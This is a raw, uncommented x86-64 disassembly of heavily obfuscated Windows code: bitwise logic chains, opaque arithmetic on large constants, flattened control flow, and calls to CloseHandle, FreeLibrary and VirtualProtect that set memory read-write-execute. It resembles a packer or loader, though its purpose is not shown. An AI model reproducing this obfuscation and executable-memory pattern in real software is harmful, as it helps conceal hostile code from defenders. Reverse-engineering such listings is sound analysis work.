xor r8b, 1
and r8b, dil
or r15b, r8b
xor r15b, r14b
mov ecx, r15d
xor cl, 1
and cl, r14b
mov edx, ecx
and dl, r15b
xor cl, r15b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor bl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ebx
and r8b, cl
xor cl, bl
xor bl, dl
or cl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
or al, dl
xor al, 1
or al, bl
mov r11d, r13d
xor r11b, 1
and cl, dl
or cl, r8b
mov edi, ecx
and cl, al
xor al, 1
xor dil, 1
mov edx, eax
xor dl, dil
and dl, al
and dil, al
or dil, cl
mov eax, edx
and al, dil
xor dil, dl
or dil, al
mov eax, r13d
and al, r11b
mov ecx, r13d
and cl, al
xor al, r13b
or al, cl
and r9b, r10b
xor r9b, 1
mov ecx, r9d
xor cl, r10b
or r9b, r10b
xor r9b, 1
or r9b, cl
xor r9b, al
xor al, 1
xor r9b, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
xor al, 1
or r13b, r11b
mov ecx, r11d
xor cl, r13b
and r13b, r11b
or r13b, cl
xor cl, 1
mov edx, ecx
xor dl, r13b
or cl, r13b
xor cl, 1
or cl, dl
xor cl, r10b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
and cl, dl
xor dl, 1
mov eax, ebx
xor al, dl
and al, bl
and dl, bl
or dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edi
xor r8b, 1
mov ebx, r8d
or bl, dil
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
and al, dil
xor cl, 1
and cl, r8b
or cl, al
mov eax, edi
and al, bl
xor bl, dil
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, r8d
and bl, dil
xor r8b, bl
xor bl, 1
or bl, dil
xor bl, 1
and al, cl
mov r9d, eax
and r9b, cl
xor al, cl
or al, r9b
mov r9d, eax
xor r9b, 1
or bl, r8b
xor bl, 1
xor dil, bl
xor dil, 1
or dil, bl
mov esi, edx
xor sil, 1
mov ebx, esi
and bl, dl
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov r14d, ebx
xor r14b, 1
or sil, dl
mov ecx, esi
xor cl, 1
mov edx, ebx
xor dl, sil
and dl, bl
and cl, r14b
and sil, bl
or sil, cl
mov ecx, edx
xor cl, 1
xor dl, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, dl
mov ecx, r14d
xor cl, bl
or r14b, bl
xor r14b, 1
or r14b, cl
mov edx, eax
xor dl, r9b
and dl, al
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, r9d
and r8b, al
mov r11d, r8d
xor r8b, r9b
or r9b, al
mov r10d, ecx
and r10b, r9b
xor r9b, 1
xor cl, 1
and cl, r9b
or cl, r10b
mov r10d, r9d
xor r10b, dl
or r9b, dl
xor r9b, 1
or r9b, r10b
xor r9b, 1
mov edx, ecx
and dl, r9b
xor r9b, cl
or r9b, dl
mov edx, edi
xor dl, 1
mov r15d, edx
xor r15b, r9b
mov r10d, r15d
and r15b, r9b
and r10b, dl
mov r9d, r10d
and r9b, r15b
xor r15b, r10b
or r15b, r9b
xor r11b, 1
or r11b, al
xor r11b, 1
or r11b, r8b
mov ebx, edi
and bl, dl
mov r8d, ebx
and r8b, dil
xor bl, dil
or bl, r8b
mov r8d, r11d
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, r11b
mov r9d, esi
xor r9b, 1
or bl, r8b
mov r8d, eax
and r8b, dl
xor dl, al
mov eax, r14d
xor al, 1
or dl, r8b
xor dl, 1
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor r15b, 1
mov ebx, r15d
or bl, dl
xor bl, 1
xor r15b, dl
mov edx, ebx
and dl, r15b
xor r15b, bl
or r15b, dl
mov ebx, r9d
xor bl, sil
and bl, r9b
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r8d, r14d
and r8b, al
mov ebx, r8d
xor r8b, r14b
or r14b, al
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
mov r8d, r14d
xor r8b, 1
mov ecx, r8d
and cl, r14b
mov r10d, ecx
and r10b, r8b
xor cl, r8b
or cl, r10b
mov r8d, ebx
xor r8b, 1
and r8b, cl
xor cl, 1
and cl, bl
or cl, r8b
mov ebx, eax
and bl, r14b
xor r14b, al
or r14b, bl
xor cl, 1
mov ebx, ecx
xor bl, r14b
or cl, r14b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, r9d
xor cl, al
and cl, r9b
xor al, sil
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov esi, eax
xor sil, dl
xor dl, 1
or dl, al
xor dl, 1
xor sil, 1
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov r8d, r15d
xor r8b, 1
mov edx, r8d
and dl, r15b
mov eax, r8d
xor al, dl
xor dl, 1
mov r9d, r15d
or r9b, dl
xor r9b, 1
or al, r9b
mov ebx, eax
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
mov eax, ebx
and al, r10b
mov r11d, ebx
xor r11b, al
xor al, 1
or al, r10b
xor al, 1
or al, r11b
xor dl, r15b
or dl, r9b
xor dl, al
mov eax, ebx
and al, r8b
xor bl, r8b
mov ecx, esi
xor cl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, esi
and al, cl
mov ebx, eax
and bl, sil
xor al, sil
or al, bl
or cl, sil
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
mov eax, ecx
xor al, 1
or dl, bl
mov esi, eax
and sil, cl
xor al, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, al
xor sil, dl
mov cl, byte [rbp + 0x3d]
mov dl, byte [rbp + 0x37]
and cl, dl
or cl, byte [rbp + 0x3b]
mov bl, byte [rbp + 0x3c]
or bl, byte [rbp + 0x38]
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov eax, edx
mov cl, byte [rbp + 0x30]
and al, cl
xor dl, cl
or dl, al
mov al, byte [rbp + 0x3a]
or al, byte [rbp + 0x39]
mov r10d, eax
mov ecx, edx
mov r11d, edx
mov edx, eax
mov edi, eax
mov r9d, r11d
and r9b, al
xor dil, r11b
mov eax, r11d
xor al, 1
xor r10b, 1
and cl, al
and dl, r10b
xor cl, 1
mov r11d, eax
xor r11b, cl
or cl, al
xor cl, 1
or cl, r11b
xor dl, 1
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov ecx, edi
or cl, r9b
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r8d
or al, bl
mov r9d, ecx
xor r9b, 1
mov r10d, ecx
or r10b, r9b
and r9b, bl
and bl, al
xor al, 1
mov edx, eax
xor dl, r8b
and dl, al
and al, r8b
or al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor r10b, 1
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
xor r10b, al
mov eax, r10d
xor al, 1
mov edx, r8d
xor dl, cl
and dl, r8b
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, eax
and dl, r10b
mov r8d, eax
xor r8b, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, r8b
xor dl, cl
xor cl, al
or bl, r10b
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov r8d, edx
and r8b, r9b
mov ebx, r8d
xor bl, 1
mov ecx, ebx
xor cl, r9b
mov eax, ebx
or al, r9b
xor al, 1
or al, cl
and bl, al
xor al, 1
and al, r8b
or al, bl
or cl, r9b
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r9d
and al, r8b
xor r8b, r9b
or r8b, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, r8d
xor bl, 1
and r9b, bl
and r8b, dl
or r8b, r9b
xor r8b, 1
or r8b, bl
mov r9d, r8d
xor r9b, 1
mov edx, r8d
and dl, r9b
xor dl, 1
mov ebx, r9d
xor bl, dl
or dl, r9b
xor dl, 1
or dl, bl
mov r11d, ecx
or r11b, al
mov ebx, r11d
xor bl, 1
xor al, cl
and al, cl
mov edi, eax
xor dil, 1
and bl, r11b
and al, dil
mov r10d, r11d
and r10b, bl
xor bl, r11b
or bl, r10b
mov r10d, edi
and r10b, al
xor al, dil
or al, r10b
mov r14d, ebx
xor r14b, 1
and r14b, al
xor al, 1
and al, bl
mov r10d, edx
xor r10b, 1
or al, r14b
mov ebx, r11d
and bl, dil
xor dil, r11b
mov r11d, edx
or r11b, r10b
or dil, bl
mov r14d, edi
xor r14b, al
xor al, 1
or al, dil
mov ebx, r11d
xor bl, 1
xor r14b, 1
xor al, 1
or al, r14b
and bl, r11b
mov edi, r11d
and dil, bl
xor bl, r11b
or bl, dil
mov edi, ebx
xor dil, 1
and dil, r8b
and bl, r9b
or bl, dil
mov r9d, r11d
and r9b, r8b
xor r11b, r8b
or r11b, r9b
xor bl, 1
mov r8d, ebx
xor r8b, r11b
or bl, r11b
xor bl, 1
or bl, r8b
xor bl, al
and dl, r10b
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
xor dl, cl
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov eax, r10d
xor al, dl
xor dl, 1
xor al, 1
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov edx, eax
xor al, 1
and al, bl
xor bl, 1
and dl, bl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
or bl, dl
mov eax, ebx
xor al, 1
xor bl, cl
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
xor cl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, r10d
and cl, al
mov edx, r10d
or dl, al
mov r8d, edx
xor r8b, 1
xor r10b, al
or r10b, r8b
and r8b, dl
xor cl, 1
mov r9d, ecx
xor r9b, al
or cl, al
xor cl, 1
or cl, r9b
xor r8b, 1
mov r9d, r8d
xor r9b, dl
or r8b, dl
xor r8b, 1
or r8b, r9b
xor r8b, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, 1
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov eax, r10d
xor al, 1
mov ebx, eax
and bl, r10b
mov ecx, ebx
xor cl, 1
xor bl, al
or cl, r10b
xor cl, 1
or cl, bl
mov ebx, ecx
and bl, dl
xor r10b, dl
xor dl, 1
xor cl, 1
and cl, dl
or cl, bl
or al, dl
xor al, 1
or al, r10b
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or cl, al
xor cl, al
and al, cl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
or cl, dl
xor dl, cl
and dl, cl
mov r9d, esi
xor r9b, 1
mov ebx, r9d
and bl, sil
xor bl, 1
mov eax, esi
xor al, bl
or bl, sil
xor bl, 1
or bl, al
mov r8d, edx
xor r8b, 1
mov r14d, edx
and r14b, r8b
mov r10d, r8d
and r10b, r14b
mov eax, r8d
xor al, r14b
or al, r10b
mov r10d, ebx
xor r10b, 1
mov r11d, eax
xor r11b, 1
mov edi, r11d
and dil, bl
xor r11b, r10b
and r10b, al
or r10b, dil
or al, bl
xor al, 1
or al, r11b
xor al, 1
mov ebx, r10d
and bl, al
xor al, r10b
or al, bl
mov ebx, eax
xor bl, 1
and al, bl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov r10d, esi
or r10b, r9b
mov ecx, r10d
xor cl, 1
and sil, r10b
or r10b, r9b
and cl, r9b
mov ebx, eax
xor bl, 1
or dl, r8b
or cl, sil
mov r9d, r10d
xor r9b, cl
xor cl, 1
or cl, r10b
mov r10d, edx
xor r10b, 1
xor r9b, 1
xor cl, 1
or cl, r9b
xor r14b, 1
mov r9d, r14d
xor r9b, r8b
or r14b, r8b
xor r14b, 1
or r14b, r9b
mov r9d, r14d
and r9b, dl
xor r14b, 1
and r14b, r10b
or r14b, r9b
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
xor dl, 1
mov r8d, r14d
and r8b, dl
xor dl, r14b
or dl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, dl
xor r8b, 1
and r8b, dl
or cl, dl
mov edx, ecx
xor dl, r8b
xor r8b, 1
xor dl, 1
or r8b, cl
xor r8b, 1
or r8b, dl
mov ecx, ebx
and cl, al
mov edx, ebx
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r9d, r8d
xor r9b, 1
mov r10d, ecx
xor r10b, 1
or bl, al
mov eax, ebx
xor al, 1
mov esi, r9d
xor sil, r8b
and sil, r9b
mov r11d, r10d
or r11b, bl
and al, r10b
and bl, cl
or bl, al
mov eax, r11d
xor al, bl
xor bl, 1
xor al, 1
or bl, r11b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov r11d, eax
and r11b, bl
xor bl, al
mov edx, esi
xor dl, 1
or bl, r11b
mov eax, edx
and al, sil
xor dl, al
xor al, 1
or al, sil
xor al, 1
or al, dl
xor al, bl
and r10b, r9b
mov edx, ecx
xor dl, r8b
and dl, cl
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
mov edx, eax
xor dl, 1
or cl, bl
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x60017083
mov eax, 0x6b4252df
cmovne ebx, eax
test cl, 1
mov eax, 0x60017083
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rax
call rax
add rsp, 0x20
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x20
mov eax, 0x4e9474b1
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov dword [rax], 0
mov r15, qword [rbp + 0xc0]
mov edx, dword [r15 + 8]
mov r12, qword [rbp + 0xc0]
mov r8d, dword [r12 + 0xc]
mov rcx, qword [rbp + 0x98]
movabs rax, 0x7d96115d3bc12489
mov rdi, rax
add rcx, rax
movabs rax, 0x2ea4a27f91e15e1
mov rbx, rax
sub rbx, rcx
add rbx, rdi
movabs rcx, 0x44c056bf09501653
mov r9, rcx
sub rbx, rcx
sub rbx, rax
movabs r11, 0x86358dafc163ead3
movabs rax, 0x7f5eae1030806985
lea rcx, [rax + r11]
sub rbx, rcx
add rbx, rax
movabs rcx, 0x6d89b67b6097a43a
add rbx, rcx
sub rcx, rbx
movabs rbx, 0xd9953d7a9e9477
sub rcx, rbx
movabs rdi, 0xee59d8e9b4be42c2
mov rsi, rdi
sub rcx, rdi
sub rcx, r9
add rcx, rbx
movabs rdi, 0x78884a90c51967e3
mov rbx, rdi
movabs rax, 0xaecd13c03a1cbaac
sub rbx, rax
movabs r10, 0x156c109e05fbef96
add rbx, r10
add rbx, rax
sub rbx, rdi
add rcx, rsi
sub rbx, rcx
movabs rcx, 0xb4b27ea89741d75b
add rbx, rcx
sub rcx, rbx
movabs rbx, 0xac8f42c6bf6cd7bf
mov rdi, rbx
movabs rbx, 0x5bb89fa6b54b939b
mov rsi, rbx
add rbx, rdi
sub rbx, r11
sub rbx, rsi
sub rbx, rdi
movabs rdi, 0x4022f884dac93665
add rcx, rdi
movabs rsi, 0x98374dad8e90d0da
sub rcx, rsi
add rcx, rbx
add rcx, rsi
movabs rbx, 0xfdf9791d8e8d8b40
add rcx, rbx
sub rcx, rdi
sub rcx, rbx
movabs rbx, 0x5b85d256fedd3e91
sub rcx, rbx
movabs rdi, 0x3679a9996b4e1b1f
sub rcx, rdi
movabs rsi, 0x92860f5155305050
sub rcx, rsi
add rcx, rbx
add rcx, rdi
movabs rbx, 0xe2988bd35c981789
add rcx, rbx
add rcx, rsi
sub rbx, rcx
movabs rcx, 0xf113cd8d72ad7550
sub rbx, rcx
movabs rdi, 0x9c78f1c23cdd371
sub rbx, rdi
movabs r9, 0xfeae40d374443153
add rbx, r9
add rbx, rcx
movabs rsi, 0x3b4641aff0b09718
mov rcx, rsi
sub rcx, rbx
add rcx, r8
movabs rax, 0x55ce5c18a9f68938
mov rbx, rax
add rax, rsi
sub rax, rcx
movabs rcx, 0xb4d06c4d35930775
add rax, rcx
add rcx, rbx
sub rcx, rax
movabs rax, 0x684348f11c678e85
mov rbx, rax
sub rbx, rdi
sub rbx, rax
add rbx, rcx
movabs rax, 0x516c2806056ebb9a
add rbx, rax
movabs rcx, 0xf8d2551c684dfc85
sub rax, rcx
movabs rdi, 0x20a107301361a6d5
add rbx, rdi
sub rax, rbx
add rax, rcx
movabs rsi, 0xfb1a039b6711d230
mov rcx, rsi
movabs rbx, 0x912368ed71b18258
mov r8, rbx
sub rcx, rbx
sub rcx, rsi
movabs rbx, 0x8995c78f6aef21ab
sub rcx, rbx
sub rcx, r9
add rax, rdi
movabs rsi, 0x6ba2c61210cf7921
sub rax, rsi
movabs rdi, 0x63095f1fb2aac67
sub rax, rdi
add rax, rcx
add rax, rbx
add rax, r8
add rax, rdi
add rax, rsi
movabs rdi, 0xbc020ed3b59ab294
movabs rbx, 0xd324c89678897a4a
lea rcx, [rbx + rdi]
sub rbx, rcx
movabs rsi, 0x3d677705598f74d4
mov rcx, rsi
sub rcx, rax
movabs rax, 0x69d4520f8e0684d1
sub rcx, rax
sub rcx, rsi
movabs rsi, 0xc28422af80e90936
add rcx, rsi
sub rbx, rcx
add rbx, rsi
sub rbx, rax
movabs rax, 0x51810cff3668af00
add rbx, rax
movabs rcx, 0x364c933a98b1ec66
add rbx, rcx
sub rax, rbx
movabs rbx, 0x4380e142d6c47c58
sub rax, rbx
add rax, r10
add rax, rbx
movabs rbx, 0x4e70d61719c35860
add rax, rbx
movabs rsi, 0x44f873c85c06e43a
sub rax, rsi
sub rax, rbx
movabs rbx, 0x4110bc1919f5d398
add rax, rbx
add rax, rcx
sub rax, rbx
movabs rcx, 0xb737732c3b207107
add rax, rcx
add rax, rsi
sub rax, rcx
movabs rcx, 0x3286c1eb8beac9d0
add rax, rcx
movabs rbx, 0xf659815f03c6ab6
add rax, rbx
sub rax, rcx
movabs rcx, 0xcee385fbff6cc778
sub rax, rcx
movabs rsi, 0x32de273ee0fb832d
sub rax, rsi
sub rax, rbx
movabs rbx, 0x579dbd66150de4f9
sub rax, rbx
add rax, rsi
sub rax, rdi
movabs rdi, 0x109bea54df46dbcc
sub rax, rdi
add rax, rbx
add rax, rdi
movabs rdi, 0x1ee1f01be72ff98c
mov rbx, rdi
sub rbx, rax
sub rbx, rdi
movabs rdi, 0x323b54a0fc92c85a
mov rax, rdi
sub rax, rcx
sub rax, rdi
movabs rcx, 0x51d853579af6273f
sub rbx, rcx
add rbx, rax
add rbx, rcx
movabs rcx, 0xada578b5fe0d5d79
add rbx, rcx
sub rcx, rbx
mov r9, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x40
mov r14, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r14
add rsp, 0x20
mov r10d, dword [r12 + 0xc]
movabs rcx, 0xc1fb22568f83f03b
mov rdx, rcx
movabs rcx, 0x6e24cad4b4f5a836
mov rbx, rcx
add rcx, rdx
sub rcx, qword [rbp + 0x98]
sub rcx, rbx
sub rcx, rdx
movabs rdi, 0x9429db54addcf30d
mov rdx, rdi
movabs rbx, 0x6b7b5a8e12c82d79
sub rdx, rbx
sub rdx, rdi
movabs rdi, 0x83c9d7f32faf899b
sub rdx, rdi
add rdx, rcx
add rdx, rdi
add rdx, rbx
movabs rcx, 0x83bc3fefd74ac46d
sub rdx, rcx
movabs rbx, 0xa4a5ab22b0652dfb
sub rdx, rbx
add rdx, rcx
movabs rcx, 0x30ee996db1888e44
sub rdx, rcx
movabs rdi, 0x923e9730c54941d7
sub rdx, rdi
add rdx, rcx
add rdx, rbx
movabs rcx, 0x9454a9686d8c21fc
sub rdx, rcx
movabs rbx, 0x6571bcedbaa2d878
sub rdx, rbx
add rdx, rcx
movabs rcx, 0x9ec6db2dde669c7d
mov rdi, rcx
sub rdx, rcx
add rdx, qword [rbp - 0x48]
movabs rcx, 0x24cba7fe8ad48798
add rdx, rcx
add rdx, rdi
add rdx, rbx
movabs rcx, 0x199bc4e1235f673e
mov rbx, rcx
add rdx, rcx
mov rcx, qword [rbp - 0x40]
sub rcx, rdx
movabs rdx, 0xbad44ef9fc9c3d1b
add rcx, rdx
movabs rdx, 0xf03279a60e6a71c3
add rcx, rdx
movabs rdx, 0xafe06b2d5652719
add rcx, rdx
add rcx, rbx
sub rcx, rdx
movabs rdx, 0x66f78a8e44b7100a
add rcx, rdx
movabs rbx, 0xcf0c60942bd09d46
sub rcx, rbx
sub rcx, rdx
movabs rdx, 0xe43a4c84623bf5e7
add rcx, rdx
movabs rdx, 0xa4b14d66b9305da3
sub rcx, rdx
movabs rdi, 0x677277b5e9468381
add rcx, rdi
add rcx, rbx
add rcx, rdx
movabs rdx, 0xe62025e7e81998e8
sub rcx, rdx
movabs rbx, 0x4d80c62b288e22f8
add rcx, rbx
add rcx, rdx
movabs rdx, 0x616d8c9bf65d5099
add rcx, rdx
movabs rsi, 0x5875ba2e507f748b
sub rcx, rsi
sub rcx, rdx
movabs rdx, 0x19370b0bc31a0858
sub rcx, rdx
sub rcx, rbx
add rcx, rdx
movabs rdx, 0x3a9934b0ffabfe9e
sub rcx, rdx
sub rcx, rdi
add rcx, rdx
movabs rbx, 0xa1ff1502d913daba
mov rdx, rbx
sub rdx, r10
movabs rdi, 0xa5554a583ebd28b1
add rcx, rdi
movabs rsi, 0x32e18cc31d18f34c
sub rcx, rsi
sub rcx, rdi
add rcx, rbx
movabs rbx, 0xcbe0a6a21e2aaac0
add rdx, rbx
sub rcx, rdx
add rcx, rbx
movabs rdx, 0xdcf18c2ee5ad3845
add rcx, rdx
add rcx, rsi
sub rcx, rdx
movabs rdi, 0x28ccb483b7e89885
mov rdx, rdi
movabs rbx, 0xea1dc6c3ec837222
sub rdx, rbx
sub rdx, rdi
movabs rdi, 0x89781dde8500b78e
sub rcx, rdi
add rcx, rdx
add rcx, rdi
movabs rdx, 0xdcec259e6c267099
add rcx, rdx
movabs rdi, 0x3908427b98cf8bd3
add rcx, rdi
sub rdx, rcx
movabs rcx, 0x72d11f7e0d99591f
add rdx, rcx
movabs rcx, 0x25f13d29c07f3a6
add rdx, rcx
sub rcx, rdx
movabs rdx, 0xed9ef64f3e5919bf
add rcx, rdx
movabs rdi, 0x1513555dc26738a7
add rcx, rdi
add rcx, rbx
sub rcx, rdi
sub rcx, rdx
add rcx, qword [rbp - 0x38]
movabs rdx, 0xc77bb7a184af0316
mov rdi, rdx
movabs rbx, 0xb0dbcbafd7da2964
add rdx, rbx
sub rbx, rdx
movabs rdx, 0x8938e4f3a209643c
sub rbx, rdx
movabs rsi, 0x3f99f2c81ce15c98
add rcx, rsi
add rbx, rsi
sub rbx, rcx
movabs rcx, 0x8ebcf1bed77c3d6c
mov rsi, rcx
add rbx, rcx
add rbx, rdx
add rbx, rdi
movabs rcx, 0xcb2b3b5c3f9b21fc
add rbx, rcx
sub rcx, rbx
add rcx, rsi
movabs rbx, 0xb160a109142cbfd1
mov rdx, rbx
sub rdx, rcx
mov rcx, rbx
movabs rdi, 0xc621f15c6c3c697e
mov r8, rdi
sub rcx, rdi
movabs rsi, 0x519050f8ddc004ae
mov r9, rsi
add rdx, rsi
sub rcx, rdx
movabs rdi, 0x5700fa2b05a427c0
mov rdx, rdi
movabs rbx, 0x99f2cfcfae269864
sub rdx, rbx
sub rdx, qword [rbp + 0x90]
add rdx, rbx
movabs rbx, 0x39e02f516c47c66e
mov rsi, rbx
sub rdx, rbx
sub rdx, rdi
movabs rbx, 0x2bcedce6043f2725
mov rdi, rbx
movabs rbx, 0x6d31d19bc040f3b1
mov rax, rbx
add rbx, rdi
movabs r11, 0xc96c75527c0d3bbb
sub rbx, r11
sub rbx, rdi
add rbx, rdx
add rbx, rsi
movabs rdx, 0x67007e7dac56c2b6
mov rsi, rdx
add rbx, rdx
movabs rdi, 0x660ad1a3cb53e7f3
lea rdx, [rdi + rax]
sub rdx, rbx
add rdx, rsi
movabs rax, 0x5bbb256054cc2673
add rdx, rax
mov rbx, rdi
sub rbx, rdx
add rbx, rax
movabs rax, 0x66681181adbbe62
sub rbx, rax
movabs rdx, 0x398ccfe6fe24219e
add rbx, rdx
add rbx, rax
movabs rdx, 0xb8b5e9478ef9d524
add rbx, rdx
movabs rax, 0xa88f3d41ebed8063
add rbx, rax
movabs rax, 0xba7f4a2fc2aa2b1f
add rbx, rax
sub rdx, rbx
movabs rsi, 0x3545950b35023663
sub rdx, rsi
movabs rdi, 0x34d2a665503721f6
mov r13, rdi
sub rdx, rdi
add rdx, rsi
movabs rsi, 0xa65c3ac06e1a24fb
add rdx, rsi
add rdx, rax
sub rdx, rsi
movabs rbx, 0x83ad1a8a4a245f18
add rdx, rbx
movabs rax, 0xe21c0d28ea11a201
add rdx, rax
sub rbx, rdx
movabs rax, 0x770e96fed478d997
add rbx, rax
movabs rsi, 0x9a4ab0aa74f39731
mov rdx, rsi
sub rdx, rbx
movabs rbx, 0xa8bffc5cd2a615fa
add rdx, rbx
sub rdx, rsi
sub rdx, r11
movabs rsi, 0xf0a17acb88bbfc83
add rdx, rsi
sub rdx, rbx
sub rdx, rsi
movabs rbx, 0x8ca120e1acc300a7
add rdx, rbx
movabs rsi, 0xa3d07e3825a719ad
add rdx, rsi
add rdx, rax
sub rdx, rsi
movabs rax, 0x540e43bef0ff30c9
mov rsi, rax
sub rdx, rax
sub rdx, rbx
movabs rax, 0x86c859882f91d3d9
mov r11, rax
add rdx, rax
mov rbx, qword [rbp - 0x30]
sub rbx, r10
movabs rax, 0xb8136b18c6f32316
add rbx, rax
movabs rax, 0x4d3a8aa98a07d34b
sub rbx, rax
movabs rdi, 0x1e54e37a916f6b5c
add rbx, rdi
add rbx, rax
add rdx, rsi
movabs rax, 0xbc50393c302eeeb2
sub rdx, rax
movabs rdi, 0x7244717f52a40476
sub rdx, rdi
add rdx, rax
movabs rax, 0x26109a059fce334f
add rdx, rax
sub rdx, rbx
sub rdx, rax
add rdx, rdi
movabs rax, 0x79ab303b6d24cd26
mov rbx, rax
add rax, r11
movabs rdi, 0x497270da5ec9beb7
sub rdx, rdi
sub rdx, rax
add rdx, rbx
add rdx, rdi
movabs rax, 0x6d7a5b81af8d5606
add rdx, rax
movabs rbx, 0x26649ac68acdaed1
add rdx, rbx
sub rax, rdx
movabs rdx, 0x5e03a2af3421c0c7
sub rax, rdx
